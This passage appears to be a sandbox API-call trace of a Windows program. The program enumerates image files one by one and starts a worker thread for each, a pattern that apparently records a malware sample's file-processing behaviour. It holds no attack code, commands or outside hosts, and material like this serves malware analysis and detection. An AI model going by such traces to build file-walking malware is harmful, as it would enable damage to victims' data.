	[0247.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1
	[0247.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2428
	[0247.756] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.757] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1
	[0247.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x242c
	[0247.758] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.759] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1
	[0247.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2430
	[0247.761] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.762] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1
	[0247.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2434
	[0247.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.764] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1
	[0247.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2438
	[0247.765] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1
	[0247.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x243c
	[0247.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.768] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1
	[0247.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2440
	[0247.770] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.771] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1
	[0247.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2444
	[0247.773] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.774] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1
	[0247.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0247.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2448
	[0248.098] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.099] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1
	[0248.099] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244c
	[0248.101] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.102] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1
	[0248.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2450
	[0248.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.104] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1
	[0248.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2454
	[0248.106] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.107] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1
	[0248.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2458
	[0248.114] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1
	[0248.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x245c
	[0248.117] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.117] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1
	[0248.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2460
	[0248.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.120] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1
	[0248.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2464
	[0248.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.123] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1
	[0248.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2468
	[0248.124] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.125] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1
	[0248.125] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x246c
	[0248.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.127] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1
	[0248.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2470
	[0248.129] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.130] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1
	[0248.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2474
	[0248.132] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.132] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1
	[0248.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2478
	[0248.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.135] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1
	[0248.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x247c
	[0248.310] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.311] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1
	[0248.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2480
	[0248.312] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.313] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1
	[0248.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2484
	[0248.315] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.316] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1
	[0248.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2488
	[0248.317] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.318] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1
	[0248.318] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248c
	[0248.320] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.320] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1
	[0248.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
